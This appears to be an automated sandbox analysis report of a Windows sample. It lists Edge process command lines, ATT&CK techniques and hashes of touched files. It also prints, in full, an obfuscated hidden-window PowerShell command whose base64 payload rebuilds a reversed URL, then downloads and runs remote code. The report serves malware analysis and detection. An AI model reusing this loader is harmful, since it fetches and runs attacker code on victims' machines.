    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1744,i,9649069058500803293,17686691211325578369,262144 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=2784 /prefetch:2
    3⤵
    PID:3156
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2292,i,5265307357162466408,14941338993193721077,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=2852 /prefetch:8
    3⤵
    PID:6084
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4380,i,3628938513897379319,4304884749825959900,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:8
    3⤵
    PID:2632
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4380,i,3628938513897379319,4304884749825959900,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:8
    3⤵
    PID:1240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4552,i,14376229647625429074,3625786165086189220,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4560 /prefetch:8
    3⤵
    PID:3612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4572,i,3829574471050315139,12603572612899140913,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:8
    3⤵
    PID:3976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4660,i,14834649248894062365,2228456704641724968,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:8
    3⤵
    PID:224
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4668,i,6640903520220102660,13107481604183770972,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:8
    3⤵
    PID:2092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4736,i,13082696014806809867,17819723445507591653,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:8
    3⤵
    PID:2496
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4856,i,2820587747643299605,2815208971958278742,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4564 /prefetch:8
    3⤵
    PID:6036
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5032,i,15656306416509463260,17446428984696123455,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:8
    3⤵
    PID:3816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4736,i,1736090143159641067,3644103794894330646,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:8
    3⤵
    PID:5300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4928,i,12870187925034775330,4090626752506553698,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:8
    3⤵
    PID:928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4932,i,1296633897131378049,1717393212705831840,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:8
    3⤵
    PID:3440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4548,i,15177488967141746455,17124959933674787596,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:8
    3⤵
    PID:5704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=772,i,4577038103374502355,4486292427084131237,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=4916 /prefetch:8
    3⤵
    PID:3092

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5788

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1052

C:\Windows\System32\WindowsPowerShell\v1.0\pOwErshELl.exe
pOwErshELl -w h -nop -c $s=[Diagnostics.ProcessStartInfo]::new($PSHOME+'\powershell.exe','-nop -enc JABZAGgAPQAnAEEALQBBAFYAbQBZAFEARQBnAFcAUQA0ADYAaQBOADIAYQBzAFIAaABEAGgAPQB0AEAAMQA9AG0APwAwAGkAcQBGAFgAMQBCAFkALwBNAG8AQwAuAEkAVQBZAEUAdABSAEkAbwBIAEkAcgBzAEEAZwAvAC8AOgBzAHAAdAB0AGgAJwA7ACQAeQBkAFEAPQBpAHIAbQAoACgALQBKAG8ASQBuACQAWQBoAFsALQAxAC4ALgAtADkAOQA5AF0AKQAtAFIAZQBQAEwAQQBDAEUAJwBAACcALAAoAFsAYwBoAGEAcgBdADMAOAApACkAOwAuACQAKAAtAEoAbwBJAG4AKAAkAGUAbgB2ADoAYwBvAG0AUwBwAGUAYwBbADQALAAxADUALAAyADUAXQApACkAIAAkAHkAZABRAA==');$s.UseShellExecute=$false;$s.CreateNoWindow=$true;$null=[Diagnostics.Process]::Start($s);exit
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -enc JABZAGgAPQAnAEEALQBBAFYAbQBZAFEARQBnAFcAUQA0ADYAaQBOADIAYQBzAFIAaABEAGgAPQB0AEAAMQA9AG0APwAwAGkAcQBGAFgAMQBCAFkALwBNAG8AQwAuAEkAVQBZAEUAdABSAEkAbwBIAEkAcgBzAEEAZwAvAC8AOgBzAHAAdAB0AGgAJwA7ACQAeQBkAFEAPQBpAHIAbQAoACgALQBKAG8ASQBuACQAWQBoAFsALQAxAC4ALgAtADkAOQA5AF0AKQAtAFIAZQBQAEwAQQBDAEUAJwBAACcALAAoAFsAYwBoAGEAcgBdADMAOAApACkAOwAuACQAKAAtAEoAbwBJAG4AKAAkAGUAbgB2ADoAYwBvAG0AUwBwAGUAYwBbADQALAAxADUALAAyADUAXQApACkAIAAkAHkAZABRAA==
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2500

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2188

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
PID:4704

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4556

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" h -scrcSHA256 -i#7zMap15543:64:7zEvent29479
1⤵
PID:1920

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 df0fcfba7ccb03bac0ccf6941f9cc512937fdc63035a2fedc78aa9a82c1d8af1
MD5 e30544e6d048b2c1c6129c89835c16dd
SHA1 21d167ff64825d3f8a5c351c3160b670dc14cb60
SHA512 fcfc1e2b4110286dc8ede8caab34ea309e24fa6deb225213ab0e5b2d6499cc195e65dde2e125bca3ef5d5b5f4fdda66a1e4429cf2ea1c3df0ba92142342dfd9b
TLSH
T1F551CB3133B5A1E489167F4619681AC023BF8355F698AF187698521ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

CrashpadMetrics-active.pma

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma
Size 16KB
SHA256 452a5479b9a2e03612576c30d30e6f51f51274cd30ef576ea1e71d20c657376f
MD5 cfab81b800edabacbf6cb61aa78d5258
SHA1 2730d4da1be7238d701dc84eb708a064b8d1cf27
SHA512 ec188b0ee4d3daabc26799b34ee471bee988bdd7ceb011ed7df3d4cf26f98932bbbb4b70dc2b7fd4df9a3981b3ce22f4b5be4a0db97514d526e521575efb2ec6
SSDEEP 12:biUXhV0xosU8xCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:bFRqxosU8xWMk8xVZ4YWI30otWn
TLSH
T14F724986B34494EFC883597189BD17903374F6EE5F02839B6A267A0E2E271C44F44220
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 524ae55519907b3ab75a388a7d8adb5b3e5bdde0aabefe20ce772a09ea687d5b
MD5 f6eb566f9aba7efdbfb5c795bd65c547
SHA1 0ce2d6e7d9e58cb863af3f628d52cd4dd694f6fa
SHA512 2b08121677adac5c93abf00acc6bfcb28d8a72bca78fdef9052724d4f592d583e28680a2ae9a96d1bb7c0a432f05c206ebc2ec8238e6cabafaf5ae8743b7260b
TLSH
T19CD0C023360D3004E3494231D002C3042311447810078301F330D88C89241C4D2930C3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 740cf52104391e5205acb6afb57651b0df1946dc18042e6fe71c947bbcfd0e7d
MD5 da47e4f65be18ac64e0cfacee45a035d
SHA1 420e26378042dfe1c820795a4fb69a1093ddccb9
SHA512 928a7bd59ec80be0f45ff0cf104f78b4f4455df0864d3c8b21ac8821b9e7f21f8c71771888e780197da81f8603df0baf6603c27bb0b9cbbcc06033aeb64dcde0
TLSH
T147D02370341673E0C11C0030C120110033104672205F83D26270AC0CCE30000E1FBCD2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2aafce1c037be05e4c7ebafed37cf7282f3b61da9ab3f68cb43c724193f2a4ab
MD5 1a34bb39930694ea7604881fe671a327
SHA1 984165fe8abd42a03cd121d90e23865b1b24606e
SHA512 c9c7ad13bf7dcca0de7ae942e5c953da986e722b63c12f23dbc118dda97022414b13f1027b23b74906f10699650754782ea88b9d17b1c4e8aad63cf538d45022
TLSH
T147D0C0233A093004E3454231D042C3043321407810078301F330D88C89641C4D2930C3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 17d9112d848945ce5dfa4f8fba327a86e1263340779586c9c818e073d21bd6e4
MD5 532abe5a2d2cef64d5cfeb32a3d8da8b
SHA1 eae74239ce7289f50435447f13be57acc2f66f92
SHA512 f1627c638ad8cd44f033dda8a038bef7c3441631f5a6e1377de055169b7f27e29486299545da02300ebe9fa73d1b0580fc4c00bc081c580edb1723ee8e0c18dc
TLSH
T115D023B035152550C30F20309100D11433018374201FE1F25030B40C9A20200C1AF0C3
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 5bd6f61276ed87d918ab9128e90800ecf354ab599a52f39575f7eb72bf9fc51d
MD5 056d5fe69a8880e94d95c117a02c7e95
SHA1 932a8a824f5c2f8821b58e02bbb67f4bdc742244
SHA512 f3a3a29034e4a15eee396f8eaf63dceb2a2050cfa7bbda4cf586217c538f15f890ae26a9af20229061b17a25ad811df48ce50a3c76a76bc60bcb54b1188b07e0
TLSH
T16EE0E5AACD619C3709FC071964544B86E75103976B40455B363C92088F70A3A4286C6C
MD5 SHA1 SHA512 TLSH

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 23e540fea71771718ca073b5efc6c129c5dfe9b658c2a99fd60e490984974767
MD5 d907b4f72f1c39ae79c1eb9fcc791d40
SHA1 01a2ca3f5d46c76ba6183b051dc7dfb70d9abf23
SHA512 fe9dbc3747315d575df49c9d544e96143ff82d42311d4aeec5ee5b4012130015225ed1f5031b2f068830ff8629c3a9f7ac9561821e6427bd6eb531572773ab57
SSDEEP 384:AfNx3WWK5pRSYOqHitJ9NPGnxq1xvRFwhV1gMaEt4dYfxqUIj:mNx3WWK5pRSYOH/9wnM1BRU15xxA
TLSH
T15213A23C36159D7EDAC7507C684B1A707BA9F860F2D8B6036B22B0121F1E71EF95E984
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 7b03c9725d3a0675fcdcac4ce31a48a112f81ca3b81090e9b413322cb7f47a93
MD5 b338a51104b54fca70987671a4abe56e
SHA1 97b460b1913b14549c8addd88a2c00bd3fff995b
SHA512 6efa50840f40b063e2d5b52b15d9520f4dd33d282452aad894cf880bfcb4bc1317b9934fb8cae4a3ea6e069899a8581599006e4c81e3f87bef64e1fba1dd47b5
SSDEEP 3072:8IL/gOwcL/cXL/Ffis9egL/lL/vUWe+QOb0O+wMscG7N:bL/gOwcL/qL/FfnegL/lL/vUq+te
TLSH
T19144A4F71815905BCBA842FAA7563E3CC237416D7CE5F9EAE1384CC45825F31B2BAA44
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2
Size 1.0MB
SHA256 ea3cf47373735667e5ba375d92148100a9a2bae0e31e2e2af1afd9616cace738
MD5 61e7c7f551c8f587ea8bf7d8c3f578e9
SHA1 6041c0b2682a3b50c83858b69f69d1fab1b39ade
SHA512 f080226c4a1fb75f0aa318dfd58fc541f5a06834932f75175f53eb9c3e023d43780aec620e3241a05268f6d00b2e6f0675f0e82fab708aca5043309e3f0d5621
SSDEEP 6144:uW5y//lp4Fl3CPmhwmLrgRPz9vK5S2tkKVFby:uW5y1pk3SmhwmLgvsrkgy
TLSH
T1EC2549EECB682C92CE6B877470E0D9077E712183B69CD0D39944C5D897D6B8176E82BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3
Size 8.0MB
SHA256 4fc1c2a405a9d395e5b2ef4a286af82a8b1970b6b59939b5c28a3b9d19126967
MD5 804bd0197d20ce8ba6f53165f009fcfe
SHA1 cd77e6c23601a16e058d693aabfbf52855666620
SHA512 e783022add112c7a560caef34c4b66cabdee0077f708c803254fff8955008fc1d99dd190ce45c91d2bb6f4df42c7225fa1fd106158c8fd4cc0b07eee0968dd8a
SSDEEP 24576:z37Eol4Yw5EfXvIiebGR+qiJ3Qgib8Wi2TNzFVY2+OgLVkQ0QG8huJlWHzDgod:zroY+Evb+D35izJzF+HXLwQRAXMYod
TLSH
T190869EEDCE68A883CE639D30B4F0E9477CB413C3B595D2D68848C19852977C1BBDA62D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 cba3f16dfc1c28dee225bcde8b2ee110398c6192485a99b63c5a0660b8f9eda9
MD5 91e65f589b7d2ab7d2bb044dc73a7137
SHA1 5c9c0bc3b1e2ccf97d11d4587ea9a71260710a05
SHA512 038c38c1c37023ac9b872e1c228308865ffff18d019f9b6c30974e772c8b2b9232f8fed8e721e2a7fec198d76b1c2e7c59f382c6719f115fa49263e43d5215d3
SSDEEP 96:4OJeRhHByRqdAxGkKExqiJTmOH0rXRwS+OJj:9J8qAaKEx9JTurh4OF
TLSH
T16DA1933806A1007ECB93113895DF6A453670BCE5F4073FA661188A324F2FBB9F5DA225
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe5906ec.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5906ec.TMP
Size 3KB
SHA256 589809098d677eb0a1278c2f9dd537e5358163bc7ab57acd02405c5ec33e376e
MD5 f172cb849f5b0e8e878d23eaf0a9b31a
SHA1 4ac668aa233d1b9c04846aadfdecc86964fe2ed3
SHA512 75dc8bd18ba20a7a4dc6d60f851d762731aeb367d06f77a9c1264815a5c18901dcb81ef68a4444772ef025a1e75142a86a1494894e9433b65906b5b4b003ed53
TLSH
T10571E8340B6200B4DBA32639D1DF86563AB2C4D6F4177FE8555C4A30872EB71F5E7225
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG
Size 346B
SHA256 e641149b2764fc5c3e4b41e87e60e8748b545a49457948868625c614c27062f8
MD5 7c165c21329cdedf2cb94900baf9e4bc
SHA1 cdb1d5a7a2c37e86fdb49847b5c0ac0014e0d0ca
SHA512 b3bba0ca3edd281b9d10948c2f54121c3af3f97ca2c258d378bd9e9268ec35a2201c9cc9bd1f24122bc4c0d8ef61863963eef159590c4d97a28c3d777cd28fe7
TLSH
T115E0D89554C7C16E565974C7456C7B0CA1C1349AFA856D072705C8CC7602241F36159B
MD5 SHA1 SHA512 TLSH

Submit Download

EdgeHubAppUsageSQLite.db

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db
Size 32KB
SHA256 496f48cb3d34c32b97764cf89e70f8247aae35fc27b244a8d6e77b51ad426b6b
MD5 14435664051626d5db5c8248a66c81b4
SHA1 7477f3d52dd6d6cbc9f47412d59d7c649b5a7602
SHA512 fcd1d4b7e23d7a742de99a7e12df2e88897ba68110172a198ee45814afb6dfef918433b4d7c65c4dd06cc1f3085bde8aa3a0584db7867a82145dac2aa8895829
SSDEEP 24:TLAga0Zb7OaIbz+UOxUDDNzWjJ0npnyX7y+jnZvAW5LlZvK5fKFtIJrUqYpr:Tyi+7f+UZD4jJ/BjZYWxlZvCKFOOTpr
TLSH
T1B2E2E08C3B12F511C5ED733DB0C2C6E05EFC696C864DB0B0913C98B69C62AA2F49E54A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log
Size 456B
SHA256 c5ce9aaf8ffdcb8a00463a7bf24001885e0a792f110c8db74a1e2f4392cb0e31
MD5 f23d2df21a39aa8d814cade6c37856c8
SHA1 233e65707015a53f83a0d53db03a4af8fab21ea6
SHA512 a7b50b8cafba80f6baca44b260f8379852c4176f3dd57168812f3b4b811d2ff340f09f8ce625cc2adecab2851cc33725cb729548a3da98b041387c7952077918
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG
Size 322B
SHA256 9938e52795dc8c47d71a69c677cbc6483cdaa90ec3cebe13a6b09a0fbe029ff5
MD5 7ba1b6aeb7868ba618fabc37040e1c07
SHA1 17950b9d926cc91e7955375a46d9515844c1b338
SHA512 af751c3f4e9fc9b48963209efd2ee80e59a7f4671201e2d826deb33792ddda70d90b6638787ab73a2823a51a7d2ee6cc9ca05283ff6e03ae58b25cebba9314b5
TLSH
T105E0869445DAD13A905478D386BC731C86D5748EA68939025B4DC8EDB505645F3FA2C0
MD5 SHA1 SHA512 TLSH

Submit Download

ExtensionActivityEdge

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge
Size 32KB
SHA256 d86b7b7f10bbecfa155b2aa53e2a61a8b726d075be1073b16322b4446e5f564a
MD5 959fd7a9dd064b5f7fead31a31b71b10
SHA1 fd0d829d81034864d3c8c3f212815cdadc8bed62
SHA512 84099eb90e068a3100530d376ebd68db1a68880d543e8c94c0cd92c292ec0655afe96d491ebb837604bb491b987bfbf18cdf13e6be24aac9ba0c205bd8744d00
SSDEEP 24:TL8JhK3iOvwxwwweePKmJIOAdQBVA/BNj2VTJZwJ9vpV3WOT/uReQQ:Tgm+BE9ZW9v/3WOT/
TLSH
T1A3E23A2A5E7C7521CD667136BC21A4665CB910DA977336F23EE0007D6F8228BC475CEE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Favicons

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons
Size 24KB
SHA256 39c83489c01eee76f82b9718be6fa52c2ac94e26738e71fed46b4c67bb51c3e0
MD5 fffdf60ded3c0b22e8bd41316811fb56
SHA1 6fa4234c53346770f595a9bff156cf11dba70e89
SHA512 a34b8df41635cd320e638b81985d2a3237db59c12b3773848cf1e23be3742db16889f18d1765b6c5b6300293d518d4f745c3f4f9007a77fb905f405a53290128
SSDEEP 48:LzBmw6QU1PzfGLIr3RcaevTb6iLIyWjiq4LIr3/miHtciLHMZL7xPVo+RALT0hB8:3BCxfGLURcd7b6iL24LUtLsZQ+iLg8
TLSH
T1CEB22B874B38B802EB734EBE3EA475714D3B61BC6E759DC43439386608B648752174BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 204KB
SHA256 969c81a4846d3a6148c99b169ebbcb87798a78559f80f28ca3b7bd6613a04dcc
MD5 cb33b2d2ac1c2446219b682f2eb8a6e6
SHA1 385fd6cac82a2651fd912c231e601af105c7d3aa
SHA512 9a34075fb9858e5b99ec2c76f7cb9fbee786d46784ac3e1167ae6b3e92629b4080b86d08ae152d62a9a4d568daf10fcef5e8d5204e9714f14c23d600e7d064a7
SSDEEP 192:PrF/af+G83uy3Ct7XBBKVxJH7DXspU3iD:PrF/a/83uICtTBBG7DXspU3iD
TLSH
T1CC14215E5F242321CDBD917669EB44A35D7CF03F8B1266DA686114B4CEE3742A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Size 133B
SHA256 3c9b04c37907ce34d683996e5ef4106d0357c0130cbdd298188a160a6032e1c4
MD5 16fd67d91540483c7c1d029d3aa39ae6
SHA1 ec308c605b5b7accdc12201ee426dd1d00524924
SHA512 c56efdd14350241d20f1700930cca786c2db8e6195e03b32c6b17a178cf9f27e6d33dbadb38c68ec05ae26960dbf59311a5826d04ebea3fcf1e19d60bc660e36
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Size 331B
SHA256 d983b3dd9b5db4bfa43f979a4f7c34ee633a7918ee1c0bcf4b9f242fe70c65b1
MD5 fd7654cee8596f9b3755014aa27f8d84
SHA1 720a97b831de08c40c05cbaa7b32f62f1c4ac69c
